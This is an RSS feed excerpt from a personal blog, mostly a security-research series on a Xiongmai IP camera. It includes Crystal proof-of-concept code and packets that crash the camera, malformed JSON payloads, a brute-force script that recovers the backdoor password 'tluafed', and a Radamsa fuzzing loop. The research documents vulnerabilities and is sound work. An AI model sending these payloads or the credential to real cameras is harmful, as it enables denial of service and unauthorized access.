<p>Now we have all the instructions we need to try a Hello World program! Let&#39;s put them all together.</p>
<p>The only three instructions we need are Start, End, and OutputChar. We can use crystal play to mix all our colors for us.</p>
<center>
<img src="/images/pixellang/5.png" style="width: 100%; height: 100%;">
</center>
<p>Next we just need to put them all into a PNG, open up your favorite pixel art editor and let&#39;s go!</p>
<center>
<img src="/images/pixellang/6.png" style="width: 100%; height: 100%;">
</center>
<p>If we open up the file and play it in the web app, we can see the output works!</p>
<center>
<img src="/images/pixellang/7.png" style="width: 100%; height: 100%;">
</center>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/pixellang/">pixel_lang</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-05</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
    <li><strong>Esoteric Programming</strong> (<em>Languages</em>) &bull; 3 years &mdash; Designing non-traditional programming languages to test boundaries of language design and visual computing. [<a href="https://en.wikipedia.org/wiki/Esoteric_programming_language">Wikipedia</a>]</li>
    <li><strong>Generative Art</strong> (<em>Design &amp; Art</em>) &bull; 5 years &mdash; Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [<a href="https://en.wikipedia.org/wiki/Generative_art">Wikipedia</a>]</li>
    <li><strong>Raylib</strong> (<em>Libraries &amp; Frameworks</em>) &bull; 5 years &mdash; A simple and easy-to-use C library to enjoy videogames programming. [<a href="https://www.raylib.com">Website</a> | <a href="https://github.com/raysan5/raylib">Github</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Denial of Service</title>
      <link>https://sol.vin/xiongmai_journey/8.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/8.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <description><![CDATA[<p>During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!</p>
<p>The first thing I did was backup the string, then I cut pieces out until the crash stopped working.</p>
<p>The first thing I did was cut out the &quot;message&quot; portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused caused the crash and what didn&#39;t. I found that a size field over 0x80000000 would cause the crash.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\x85\x05&quot; + &quot;\x00\x00\x00\x80&quot;</code></pre>
<p>This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.</p>
<p>Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the &quot;login&quot; command is the most unprivilieged, that should be the next target.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\xe8\x03&quot; + &quot;\x00\x00\x00\x80&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
#socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>This produces:</p>
<pre class="code-block"><code>SENT: &quot;\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80&quot;

Unhandled exception:  (MagicError::ReceiveEOF)
  from src/magic_fuzzer/magic_socket.cr:0:7 in &#39;receive_message&#39;
  from src/sandbox.cr:69:1 in &#39;__crystal_main&#39;
  from /usr/share/crystal/src/crystal/main.cr:97:5 in &#39;main_user_code&#39;
  from /usr/share/crystal/src/crystal/main.cr:86:7 in &#39;main&#39;
  from /usr/share/crystal/src/crystal/main.cr:106:3 in &#39;main&#39;
  from __libc_start_main
  from _start
  from ???</code></pre>
<p>The ReceiveEOF proves that the socket closed and the server went down.</p>
<p>The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.</p>
<div class="video-container"><iframe src="https://www.youtube.com/embed/SnyPJtDDMFQ" allowfullscreen></iframe></div>
<p>While we do have an already working DoS exploit, there is a lot to be learned in further potential fuzzing. Working with Radamsa was a snap, and helped me find two new vulnerabilities, the &quot;Message Quotes&quot; and &quot;Options Wrong Type&quot; vulnerabilities.</p>
<h2>Message Quotes DoS</h2>
<p>This one takes advantage of some error made in JSON processing, when given a message that consists entirely of two quotes, the camera crashes. Not really too much to say about it. Like the size int problem, this one works on all commands.</p>
<h2>Options Wrong Type DoS</h2>
<p>This takes advantage of another issue in the JSON processing the camera&#39;s server does. This one only works on specific commands; OPTalk, OPMonitor, and OPRecordSnap. When these commands are sent, the have the option of including a hash of options under the root as the same name of command.</p>
<p>Example:</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;:  {
    &quot;Action&quot;: &quot;Claim&quot;,
    &quot;Action1&quot;:  &quot;Start&quot;,
    &quot;Parameter&quot;:  {
      &quot;Channel&quot;:  0,
      &quot;CombinMode&quot;: &quot;NONE&quot;,
      &quot;StreamType&quot;: &quot;Main&quot;,
      &quot;TransMode&quot;:  &quot;TCP&quot;
    }
  },
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
<p>Under the &quot;OPMonitor&quot; key, there is a hash of options. The server always expects the value under this key to always be a hash. However, weak checking, poor testing, and bad error handling allows us to crash the camera by swapping the hash with an non-nested type, like a string or a number. For example, the following string crashes the camera.</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;: 0,
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!</p>
<p>The first thing I did was backup the string, then I cut pieces out until the crash stopped working.</p>
<p>The first thing I did was cut out the &quot;message&quot; portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused caused the crash and what didn&#39;t. I found that a size field over 0x80000000 would cause the crash.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\x85\x05&quot; + &quot;\x00\x00\x00\x80&quot;</code></pre>
<p>This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.</p>
<p>Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the &quot;login&quot; command is the most unprivilieged, that should be the next target.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF&quot; + (&quot;\x00&quot;*13) + &quot;\xe8\x03&quot; + &quot;\x00\x00\x00\x80&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
#socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>This produces:</p>
<pre class="code-block"><code>SENT: &quot;\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80&quot;

Unhandled exception:  (MagicError::ReceiveEOF)
  from src/magic_fuzzer/magic_socket.cr:0:7 in &#39;receive_message&#39;
  from src/sandbox.cr:69:1 in &#39;__crystal_main&#39;
  from /usr/share/crystal/src/crystal/main.cr:97:5 in &#39;main_user_code&#39;
  from /usr/share/crystal/src/crystal/main.cr:86:7 in &#39;main&#39;
  from /usr/share/crystal/src/crystal/main.cr:106:3 in &#39;main&#39;
  from __libc_start_main
  from _start
  from ???</code></pre>
<p>The ReceiveEOF proves that the socket closed and the server went down.</p>
<p>The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.</p>
<div class="video-container"><iframe src="https://www.youtube.com/embed/SnyPJtDDMFQ" allowfullscreen></iframe></div>
<p>While we do have an already working DoS exploit, there is a lot to be learned in further potential fuzzing. Working with Radamsa was a snap, and helped me find two new vulnerabilities, the &quot;Message Quotes&quot; and &quot;Options Wrong Type&quot; vulnerabilities.</p>
<h2>Message Quotes DoS</h2>
<p>This one takes advantage of some error made in JSON processing, when given a message that consists entirely of two quotes, the camera crashes. Not really too much to say about it. Like the size int problem, this one works on all commands.</p>
<h2>Options Wrong Type DoS</h2>
<p>This takes advantage of another issue in the JSON processing the camera&#39;s server does. This one only works on specific commands; OPTalk, OPMonitor, and OPRecordSnap. When these commands are sent, the have the option of including a hash of options under the root as the same name of command.</p>
<p>Example:</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;:  {
    &quot;Action&quot;: &quot;Claim&quot;,
    &quot;Action1&quot;:  &quot;Start&quot;,
    &quot;Parameter&quot;:  {
      &quot;Channel&quot;:  0,
      &quot;CombinMode&quot;: &quot;NONE&quot;,
      &quot;StreamType&quot;: &quot;Main&quot;,
      &quot;TransMode&quot;:  &quot;TCP&quot;
    }
  },
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
<p>Under the &quot;OPMonitor&quot; key, there is a hash of options. The server always expects the value under this key to always be a hash. However, weak checking, poor testing, and bad error handling allows us to crash the camera by swapping the hash with an non-nested type, like a string or a number. For example, the following string crashes the camera.</p>
<pre class="code-block"><code>{
  &quot;Name&quot;: &quot;OPMonitor&quot;,
  &quot;OPMonitor&quot;: 0,
  &quot;SessionID&quot;:  &quot;0x0000000007&quot;
}</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Brute Force</title>
      <link>https://sol.vin/xiongmai_journey/7.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/7.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/xiongmai/wireshark/err.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/xiongmai/wireshark/err.png" />
      <description><![CDATA[<p>Looking at the hashing format, we know it&#39;s going to have collisions. To find out the plain-text password to the backdoor user account, we are going to need to take some time and brute force the hash to find the plain text password. I just want to point out, this step is mostly unnecessary, since the hash is as good as the plain text password when logging into the camera. Regardless, it would still be a good idea to crack it, just in case.</p>
<pre class="code-block"><code>require &quot;./dahua_hash&quot;

module Brute
  def self.run(hash : String, start = &quot;a&quot;) : String
    current = start
    counter = 0
    success = false

    start_time = Time.now
    until success
      if Dahua.digest(current) == hash
        puts &quot;SUCCESS!!!&quot;
        success = true
        break
      end

      counter += 1
      current = current.succ

      if counter % 1_000_000 == 0
        puts &quot; @ #{current} : #{Time.now - start_time}&quot;
      elsif counter % 10_000 == 0
        print &#39;.&#39;
      end
    end
    end_time = Time.now

    puts &quot;Time: #{end_time - start_time}&quot;
    puts &quot;Result: #{current} : #{Dahua.digest(current)}&quot;
    current
  end
end</code></pre>
<p>We know the details of the &quot;user&quot; account, so all we need to do is plug it in and BAM!</p>
<pre class="code-block"><code>Brute.run(&quot;OxhlwSG8&quot;)</code></pre>
<p>We end up getting back the string &quot;tluafed&quot;, or &quot;default&quot; backwards, after about 16 or so hours.</p>
<p>Looking up this string provides an <a href="https://www.zdnet.com/article/over-nine-million-cameras-and-dvrs-open-to-apts-botnet-herders-and-voyeurs/">interesting article</a> which describes a method of testing to see if the camera is a Xiongmai, by going to a specific htm page, err.htm.</p>
<center>
<img src="/images/xiongmai/wireshark/err.png" style="width: 100%; height: 100%;">
</center>
<p>So now we know for certain that the camera is actually a Xiongmai product, not Besder.</p>
]]></description>
      <content:encoded><![CDATA[<p>Looking at the hashing format, we know it&#39;s going to have collisions. To find out the plain-text password to the backdoor user account, we are going to need to take some time and brute force the hash to find the plain text password. I just want to point out, this step is mostly unnecessary, since the hash is as good as the plain text password when logging into the camera. Regardless, it would still be a good idea to crack it, just in case.</p>
<pre class="code-block"><code>require &quot;./dahua_hash&quot;

module Brute
  def self.run(hash : String, start = &quot;a&quot;) : String
    current = start
    counter = 0
    success = false

    start_time = Time.now
    until success
      if Dahua.digest(current) == hash
        puts &quot;SUCCESS!!!&quot;
        success = true
        break
      end

      counter += 1
      current = current.succ

      if counter % 1_000_000 == 0
        puts &quot; @ #{current} : #{Time.now - start_time}&quot;
      elsif counter % 10_000 == 0
        print &#39;.&#39;
      end
    end
    end_time = Time.now

    puts &quot;Time: #{end_time - start_time}&quot;
    puts &quot;Result: #{current} : #{Dahua.digest(current)}&quot;
    current
  end
end</code></pre>
<p>We know the details of the &quot;user&quot; account, so all we need to do is plug it in and BAM!</p>
<pre class="code-block"><code>Brute.run(&quot;OxhlwSG8&quot;)</code></pre>
<p>We end up getting back the string &quot;tluafed&quot;, or &quot;default&quot; backwards, after about 16 or so hours.</p>
<p>Looking up this string provides an <a href="https://www.zdnet.com/article/over-nine-million-cameras-and-dvrs-open-to-apts-botnet-herders-and-voyeurs/">interesting article</a> which describes a method of testing to see if the camera is a Xiongmai, by going to a specific htm page, err.htm.</p>
<center>
<img src="/images/xiongmai/wireshark/err.png" style="width: 100%; height: 100%;">
</center>
<p>So now we know for certain that the camera is actually a Xiongmai product, not Besder.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Fuzzing With Radamsa</title>
      <link>https://sol.vin/xiongmai_journey/6.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/6.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <description><![CDATA[<p>I&#39;d never heard of this tool, until I happened to stumble upon it in a <a href="https://www.youtube.com/watch?v=kMu1J8QdxE8">LiveOverflow</a> video. The tool is, very neat to say the least. It takes an input &quot;sample&quot; data, and mutates it in various ways to cause potential bad behavior in an application.</p>
<p>From the previous behavioral fuzzing we did, we know what commands are available by default, so we should fuzz those specific items to see if we can get them to misbehave.</p>
<pre class="code-block"><code>File.open(&quot;./rsrc/op_monitor.txt&quot;, &quot;w+&quot;) do |file|
  file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open(&quot;./logs/radamsa/op_monitor.log&quot;, &quot;w+&quot;) do |file|
  puts &quot;Testing connection&quot;
  socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
  socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
  xmm = Command::OPMonitor.new
  socket.send_message xmm
  puts &quot;SENT: #{xmm.message}&quot;
  reply = socket.receive_message
  puts &quot;GOT: #{reply.message}&quot;

  1000.times do |x|
    begin
      socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
      socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
      message = `radamsa ./rsrc/op_monitor.txt`
      file.puts &quot;SENT: #{message.inspect}&quot;
      socket.send message
      reply = socket.receive_message
      file.puts &quot;GOT: #{reply.message.inspect}&quot;
    rescue e : MagicError::SocketException
      puts &quot;SOCKET DOWN! #{e.inspect}&quot;
      raise e
    rescue e : MagicError::Exception
      file.puts &quot;ERROR: #{e.inspect}&quot;
      puts &quot;ERROR: #{e.inspect}&quot;
    rescue e
      file.puts &quot;BAD ERROR: #{e.inspect}&quot;
      puts &quot;BAD ERROR: #{e.inspect}&quot;
    end
  end
end</code></pre>
<p>I make a message for OPMonitor, and output it to a file, then send that file through Radamsa, and send it&#39;s fuzzing data to the camera. Within about 100 or so tries, it ended up finding a way to disrupt the client and the camera server for about 120 seconds while the camera reboots. This string takes the camera down via ping, connection, etc. This means the camera itself actually get rebooted.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\&quot;Name\&quot;:\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;:{\&quot;Action\&quot;:\&quot;Claim\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Stre amT\u000E\xFE\xFFype\&quot;:\&quot;Main\&quot;,\&quot;TransMode\&quot;:\&quot;TCP\&quot;}},\&quot;Sess󠁎ionID\&quot;:\&quot;4294967296xAbcdef256\&quot;}&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>Already Radamsa has helped us find a new and exciting vulnerability.</p>
<h2>Final notes on fuzzing</h2>
<p>We can say for certain that there are some oddities and inconsistencies about how this protocol works, which tends to be good for the red team. The stranger the protocol the more likely someone made a mistake somewhere along the way. There seems to be a lot of potential for that since the protocol acts so erratically.</p>
]]></description>
      <content:encoded><![CDATA[<p>I&#39;d never heard of this tool, until I happened to stumble upon it in a <a href="https://www.youtube.com/watch?v=kMu1J8QdxE8">LiveOverflow</a> video. The tool is, very neat to say the least. It takes an input &quot;sample&quot; data, and mutates it in various ways to cause potential bad behavior in an application.</p>
<p>From the previous behavioral fuzzing we did, we know what commands are available by default, so we should fuzz those specific items to see if we can get them to misbehave.</p>
<pre class="code-block"><code>File.open(&quot;./rsrc/op_monitor.txt&quot;, &quot;w+&quot;) do |file|
  file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open(&quot;./logs/radamsa/op_monitor.log&quot;, &quot;w+&quot;) do |file|
  puts &quot;Testing connection&quot;
  socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
  socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
  xmm = Command::OPMonitor.new
  socket.send_message xmm
  puts &quot;SENT: #{xmm.message}&quot;
  reply = socket.receive_message
  puts &quot;GOT: #{reply.message}&quot;

  1000.times do |x|
    begin
      socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
      socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
      message = `radamsa ./rsrc/op_monitor.txt`
      file.puts &quot;SENT: #{message.inspect}&quot;
      socket.send message
      reply = socket.receive_message
      file.puts &quot;GOT: #{reply.message.inspect}&quot;
    rescue e : MagicError::SocketException
      puts &quot;SOCKET DOWN! #{e.inspect}&quot;
      raise e
    rescue e : MagicError::Exception
      file.puts &quot;ERROR: #{e.inspect}&quot;
      puts &quot;ERROR: #{e.inspect}&quot;
    rescue e
      file.puts &quot;BAD ERROR: #{e.inspect}&quot;
      puts &quot;BAD ERROR: #{e.inspect}&quot;
    end
  end
end</code></pre>
<p>I make a message for OPMonitor, and output it to a file, then send that file through Radamsa, and send it&#39;s fuzzing data to the camera. Within about 100 or so tries, it ended up finding a way to disrupt the client and the camera server for about 120 seconds while the camera reboots. This string takes the camera down via ping, connection, etc. This means the camera itself actually get rebooted.</p>
<pre class="code-block"><code>crash_string = &quot;\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\&quot;Name\&quot;:\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;,\&quot;OPMonitor\&quot;:{\&quot;Action\&quot;:\&quot;Claim\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Parmeter\&quot;:{\&quot;Channel\&quot;:0,\&quot;CombinModeใ\&quot;:\&quot;N󠁢ONE\&quot;,\&quot;Stre amT\u000E\xFE\xFFype\&quot;:\&quot;Main\&quot;,\&quot;TransMode\&quot;:\&quot;TCP\&quot;}},\&quot;Sess󠁎ionID\&quot;:\&quot;4294967296xAbcdef256\&quot;}&quot;
socket = MagicSocket.new(&quot;192.168.11.109&quot;, 34567)
socket.login &quot;default&quot;, Dahua.digest(&quot;tluafed&quot;)
socket.send crash_string
puts &quot;SENT: #{crash_string.inspect}&quot;
reply = socket.receive_message
puts &quot;GOT: #{reply.message}&quot;</code></pre>
<p>Already Radamsa has helped us find a new and exciting vulnerability.</p>
<h2>Final notes on fuzzing</h2>
<p>We can say for certain that there are some oddities and inconsistencies about how this protocol works, which tends to be good for the red team. The stranger the protocol the more likely someone made a mistake somewhere along the way. There seems to be a lot of potential for that since the protocol acts so erratically.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Advanced Fuzzing</title>
      <link>https://sol.vin/xiongmai_journey/5.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/5.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>During my testing I noticed an interesting quirk of this protocol, the server (camera) would allow as many connections as one wanted open to the same ip address, so long as they were all on different ports. This meant that if I could create a &quot;pool&quot; of sockets, I could use them to audit multiple magics at once, each waiting for their own replies.</p>
<p>You can view the relevant code on <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/src/magic_fuzzer/magic_fuzzer.cr">GitHub</a>.</p>
<pre class="code-block"><code>Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
